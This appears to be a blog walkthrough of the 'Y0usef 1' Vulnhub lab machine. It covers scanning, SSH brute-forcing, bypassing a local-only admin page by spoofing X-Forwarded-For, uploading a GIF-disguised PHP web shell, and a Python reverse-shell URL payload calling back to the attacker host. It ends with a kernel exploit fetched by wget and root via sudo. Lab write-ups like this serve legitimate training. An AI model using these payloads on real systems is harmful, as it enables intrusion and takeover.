Y0usef 1

This is the most recent VM on the site as I write this. There aren't any write-ups yet so I'm hoping to be the first, wouldn't that be lovely! 1 Huh, this is weird. First VM I've seen that wasn't headless. Anyway I'm just going to pretend I didn't see that I guess, I think it would be unfair to use that in any way. I've recently been working on the playbooks/cheatsheets section of the site, so - reading off my script here let's get started! Copy-pasting from here...

$ map -nP 10.10.10.0/24
[sudo] password for kali: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-03 18:10 EST
Nmap scan report for 10.10.10.1
Host is up (0.00016s latency).
All 1000 scanned ports on 10.10.10.1 are filtered
MAC Address: 08:00:27:06:07:02 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.5
Host is up (0.00019s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:3E:BF:93 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.4
Host is up (0.0000020s latency).
All 1000 scanned ports on 10.10.10.4 are closed
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.24 seconds
$ sudo nmap -p- 10.10.10.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-03 18:37 EST
Nmap scan report for 10.10.10.5
Host is up (0.00032s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:3E:BF:93 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 14.83 seconds
$ nikto --host 10.10.10.5 --port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.5
+ Target Hostname:    10.10.10.5
+ Target Port:        80
+ Start Time:         2021-02-03 18:38:19 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.29
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7863 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2021-02-03 18:39:00 (GMT-5) (41 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

And now, we loaded up Burpsuite turned off intercept and opened the browser. We first checked out the pointed out directory: 2 Cool, a default apache file. Maybe this is a hint to pay attention to the Apache version? Let's see if there's an RCE exploit for this one: 3 Doesn't seem like it'll be easy. Exploring the application as a user, here's the html on the root page:

<html>
<head>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
<body>
<div class="container-fluid">
<center class="mt-5">
<h1>Sorry , the site is under construction soon, it run </h1>
</center>
</div>
</body>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
</head>
</html>

I did notice in Headers the PHP version was disclosed: PHP/5.5.9-1ubuntu4.29 Need more leads...

dirb http://10.10.10.5
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Wed Feb  3 19:07:50 2021
URL_BASE: http://10.10.10.5/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.10.10.5/ ----
+ http://10.10.10.5/index.php (CODE:200|SIZE:791)                                                                                                           
+ http://10.10.10.5/server-status (CODE:403|SIZE:298)                                                                                                       
                                                                                                                                                            
-----------------
END_TIME: Wed Feb  3 19:07:51 2021
DOWNLOADED: 4612 - FOUND: 2

Okay, the index page is PHP that could help us. We also get HTTP 403 on /server-status, which is the mod_status page for Apache. I checked, and there is a vulnerability on mod_status for Apache 2.4.7, but nothing for us. Probably a dead end. I then ran dirb with almost every word list, and came up dry. I decided to poke at the open ssh port, starting with Metasploit to get the version: 4 Then checked exploitdb: 5 Huh, it doesn't say <=, but I want to try it anyway!

head 45001.py 
# OpenSSH <= 6.6 SFTP misconfiguration exploit for 32/64bit Linux
# The original discovery by Jann Horn: http://seclists.org/fulldisclosure/2014/Oct/35
#
# Adam Simuntis :: https://twitter.com/adamsimuntis
# Mindaugas Slusnys :: https://twitter.com/mislusnys

Doesn't tell you much in the header... So I read the code:

# parameters
cmd = 'touch /tmp/pwn; touch /tmp/pwn2'
host = '172.16.15.59'
port = 22
username = 'secforce'
password = 'secforce'

This requires we already have a login... Oh well. This made me think to start up a brute-force against this though:

hydra -v -V -u -L /usr/share/wordlists/metasploit/http_default_users.txt -P /usr/share/wordlists/metasploit/http_default_pass.txt -t 5 -u 10.10.10.5 ssh

I cannot find anything. I spent hours poking at this thing. I went back to the Vulnhub page: 6 Okay so, the desktop login is shown in the picture, surely that means it's in-scope for this test and not just a mistake? As a start, it seems like yousef is a user, so I started a bruteforce using that username. Then, Guest session isn't disabled on the box, so honestly I'm going to just get an instant shell on the system... 7 This feels wrong, like I'm cheating... surely the author intended this to be used though, right? I can't copy out of this VM so the rest of this might be rough, I'll do my best to re-type:

$ uname -a
3.13.0-24 generic i686
$ ps -aux | grep root
... basically nothing running as root

Well, I can read the web directory and see all the files... It seems like a theme of this VM is everything is spelt wrong: 8 There's some very vulnerable looking PHP code there, however trying to access it we get HTTP 403. There's a snippet at the top of index:

<?php
session_start();
$allowedIps = ['127.0.0.1'];
$userIp = isset($_SERVER['HTTP_X_FORWARDED_FOR']);
if (!in_array($userIp, $allowedIps)) {
    ...
}
...

K, easy enough: 9 Then the page loads, and the username/password is shown in the PHP file as "admin"/"admin", so I entered that and did the same intercept trick to get to a dashboard: 10 At this point, I'm wondering if I was supposed to login as guest again.... Should I continue on that vector trying to escalate my privilege or should I attack the webapp? The problem with attacking the webapp is, I have the full source code of it now, it should be trivial to find an RCE, especially with such an obvious shitty file upload right in my face I can rip apart. The end result is a shell on the system as user www-data, which apparently isn't much different than the guest user here because I can read the web directory already? The real question is, how was I supposed to discover that endpoint? Was I supposed to just guess it was there, or did I miss a directory traversal trick? I think I was supposed to get the hint that the author spells everything wrong, and just try the mis spelled admin endpoint. Oh well! But regardless there's no point of me going through the webapp now. I already know exactly how to get a shell on the system. I can upload a file to the upload form with magic bytes to mask it as jpg/png/gif that contains a .php reverse shell, then I can access the image path in browser, spawn a netcat reverse shell and GG. Anyway, let's just get root, there's a bunch of kernel exploits! ... I tried three exploits for the kernel version, but none of them worked. I kept getting permission errors trying to do basic things. Perhaps the Guest user just doesn't have enough permissions to actually do anything valuable? I spent about an hour looking for a PE vector, and came up dry. I think after all, I should just exploit the upload and get a shell on the www-data user. Here's what I did: Add magic bytes to .PHP file to spoof MIME type:

GIF8<?php system($_GET['c']);?>

Upload the file, intercepting request to change content-type to image/gif, and add our X-Forwarded-For: 127.0.0.1 11 Access the upload index using the same intercept/X-Forward-For trick: 12 Test RCE: 13 Spawn a reverse shell:

# Listen on host
$ nc -lvp 4444

Enter this URL into browser: http://10.10.10.5/adminstration/upload/files/1612457897shell.php?c=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.10.4%22,80));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27 Our shell:

$ whoami
www-data
$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ ls
ls
1612457726pwnlab_0.png	1612458790reverse.php
1612457897shell.php	1612458871reverse.php
$ ls -al
ls -al
total 36
drwxrwxrwx 2 yousef   yousef    4096 Feb  4 20:14 .
drwxrwxr-x 3 yousef   yousef    4096 Dec  6 07:15 ..
-rw-r--r-- 1 www-data www-data 13027 Feb  4 19:55 1612457726pwnlab_0.png
-rw-r--r-- 1 www-data www-data    32 Feb  4 19:58 1612457897shell.php
-rw-r--r-- 1 www-data www-data    70 Feb  4 20:13 1612458790reverse.php
-rw-r--r-- 1 www-data www-data    79 Feb  4 20:14 1612458871reverse.php
$ cd ~
cd ~
/bin/sh: 3: cd: can\'t cd to ~
$ ls
ls
1612457726pwnlab_0.png	1612458790reverse.php
1612457897shell.php	1612458871reverse.php
$ cd /home
cd /home
$ ls
ls
user.txt  yousef
$ cat user.txt
cat user.txt
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
$ cat yousef
cat yousef
cat: yousef: Is a directory
$ ls yousef
ls yousef
Desktop  Documents  Downloads  Music  Pictures	Public	Templates  Videos
$ echo "c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=" | base64 --decode
echo "c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=" | base64 --decode
ssh : 
user : yousef 
pass : yousef123$ 
$ su yousef
su yousef
Password: yousef123$
su: Authentication failure
$ su yousef
su yousef
Password: yousef123
yousef@yousef-VirtualBox:~$ ls -al
ls -al
total 124
drwxr-xr-x 18 yousef yousef 4096 Dec  8 01:59 .
drwxr-xr-x  3 root   root   4096 Dec  6 12:11 ..
-rw-------  1 yousef yousef 1340 Dec  8 02:15 .bash_history
-rw-r--r--  1 yousef yousef  220 Nov 25 16:13 .bash_logout
-rw-r--r--  1 yousef yousef 3637 Nov 25 16:13 .bashrc
drwx------ 16 yousef yousef 4096 Dec  8 01:09 .cache
drwx------  3 yousef yousef 4096 Dec  8 01:43 .compiz
drwx------ 14 yousef yousef 4096 Nov 30 20:14 .config
drwx------  3 root   root   4096 Dec  6 09:51 .dbus
drwxr-xr-x  2 yousef yousef 4096 Dec  7 00:40 Desktop
-rw-r--r--  1 yousef yousef   25 Nov 25 17:53 .dmrc
drwxr-xr-x  2 yousef yousef 4096 Nov 25 17:53 Documents
drwxr-xr-x  2 yousef yousef 4096 Nov 25 17:53 Downloads
drwx------  3 yousef yousef 4096 Dec  8 01:43 .gconf
drwx------  2 root   root   4096 Dec  6 09:52 .gvfs
-rw-------  1 yousef yousef 2896 Dec  8 01:43 .ICEauthority
drwxr-xr-x  3 yousef yousef 4096 Nov 25 17:53 .local
drwx------  4 yousef yousef 4096 Nov 25 18:43 .mozilla
drwxr-xr-x  2 yousef yousef 4096 Nov 25 17:53 Music
drwxr-xr-x  2 yousef yousef 4096 Nov 25 17:53 Pictures
-rw-r--r--  1 yousef yousef  675 Nov 25 16:13 .profile
drwxr-xr-x  2 yousef yousef 4096 Nov 25 17:53 Public
drwxr-xr-x  2 yousef yousef 4096 Nov 25 17:53 Templates
-rw-r-----  1 yousef yousef    5 Dec  8 01:43 .vboxclient-clipboard.pid
-rw-r-----  1 yousef yousef    5 Dec  8 01:43 .vboxclient-display.pid
-rw-r-----  1 yousef yousef    5 Dec  8 01:43 .vboxclient-draganddrop.pid
-rw-r-----  1 yousef yousef    5 Dec  8 01:43 .vboxclient-seamless.pid
drwxr-xr-x  2 yousef yousef 4096 Nov 25 17:53 Videos
-rw-------  1 yousef yousef  186 Dec  8 01:43 .Xauthority
-rw-------  1 yousef yousef  711 Dec  8 01:43 .xsession-errors
-rw-------  1 yousef yousef  682 Dec  8 01:43 .xsession-errors.old

Alright, so it was hilariously easy to get onto the yousef account - now we can try to get root! I know there's some kernal exploits I could try again with this account - but let's try to leave that as a last resort.

$ cat .bash_history
cat .bash_history
ls
cd ..
ls
cd ..
cd 
ls
cd 
ls
cd ..
ls
id
cd /var/www/html
ls
cd adminstrations
cd adminstration
ls
cd upload
ls
cd files
ls
./exploit.c
clear
./exploit.c
ls
bash f.c
su
sudo
sudo apt
id
sud
sudo
cd 
;s
ls
nano
ls
cd ..
ls 
cd ..
ls
ls -la
cd tmp
ls
nano shell.sh
ls
nano shell.c
bash shell.c
ls
rm shell.c
ls
cd //
ls
cd root
sudo cd root
cd root
cd
ls
sudo -i
exit
sudo -o
sudo -i
exit
ls
cd ..
ls
cat user.txt
ls -la
ifconfig
cd ..
cd/var/www/
cd/var/www/html
cd /var/www/html
ls
cd adminstration
ls
nano index.php
ls
cd upload
cd files
ls
bash exploit.c
./exploit.c
ls
chmod +x exploit
chmod +x exploit.c
sudo chmod +x exploit.c
ls -la
sudo chmod 777 exploit.c
ls
ls -la
sudo chmod 775 exploit.c
ls -la
ls
cd 
cd etc
cd ..
cd etc
ls
cd ssh
ls
cd ssh_config
cat ssh_config
cd
sudo ufw allow ssh
sudo systemct1 status ssh
sudo systemct status ssh
sudo apt update
sudo ufw allow ssh
sudo apt install openssh-server
sudo ufw allow ssh
sudo systemct1 status ssh
sudo systemct status ssh
sudo 
sudo rr
sudo passwd
passwd 
sudo -i
ls
rm examples.desktop
ls
cd ../..
ls
cd var
cd www
ls
cd html
ks
ls
rm upload
remove upload
rmdir  upload
rmdir -r upload
sudo rmdir upload
rm upload.php
ls
rm upload.php
rm info.php
cd
ls
cd ..
nano user.txt
sudo nano user.txt
cat user.txt
cd ..
cd ../var/www/html
ls
cd adminstration
ls
nano index.php
exit

Okay, this looks to me like the creator either forgot to clear the history of them testing the machine, or is giving us a hint. I think from the history here it's obvious that we're intended to use a kernel exploit...

yousef@yousef-VirtualBox:~$ cd Downloads
cd Downloads
yousef@yousef-VirtualBox:~/Downloads$ wget 10.10.10.4:8000/33824.c
wget 10.10.10.4:8000/33824.c
--2021-02-04 20:33:02--  http://10.10.10.4:8000/33824.c
Connecting to 10.10.10.4:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1744 (1.7K) [text/plain]
Saving to: ‘33824.c’
100%[======================================>] 1,744       --.-K/s   in 0s      
2021-02-04 20:33:02 (349 MB/s) - ‘33824.c’ saved [1744/1744]
yousef@yousef-VirtualBox:~/Downloads$ gcc -o x ./3	
gcc -o x ./33824.c 
yousef@yousef-VirtualBox:~/Downloads$ ./x
./x
x: ./33824.c:52: main: Assertion `argc == 2' failed.
Aborted (core dumped)
yousef@yousef-VirtualBox:~/Downloads$ id
id
uid=1000(yousef) gid=1000(yousef) groups=1000(yousef),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

Okay so, the kernel exploit didn't work. But, we're part of sudo!

yousef@yousef-VirtualBox:~/Downloads$ sudo -l
sudo -l
[sudo] password for yousef: yousef123
Matching Defaults entries for yousef on yousef-VirtualBox:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User yousef may run the following commands on yousef-VirtualBox:
    (ALL : ALL) ALL

And we can run everything as root! Oh!

yousef@yousef-VirtualBox:~/Downloads$ sudo su
sudo su
root@yousef-VirtualBox:/home/yousef/Downloads# id
id
uid=0(root) gid=0(root) groups=0(root)

I think I overcomplicated this box at almost every corner... but, we win!

root@yousef-VirtualBox:/home/yousef/Downloads# cd /root
cd /root
root@yousef-VirtualBox:~# ls
ls
root.txt
root@yousef-VirtualBox:~# cat ro	
cat root.txt 
WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx
root@yousef-VirtualBox:~# echo "WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx" | base64 --decode
<gYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx" | base64 --decode
You've got the root Congratulations any feedback content me twitter @y0usef_11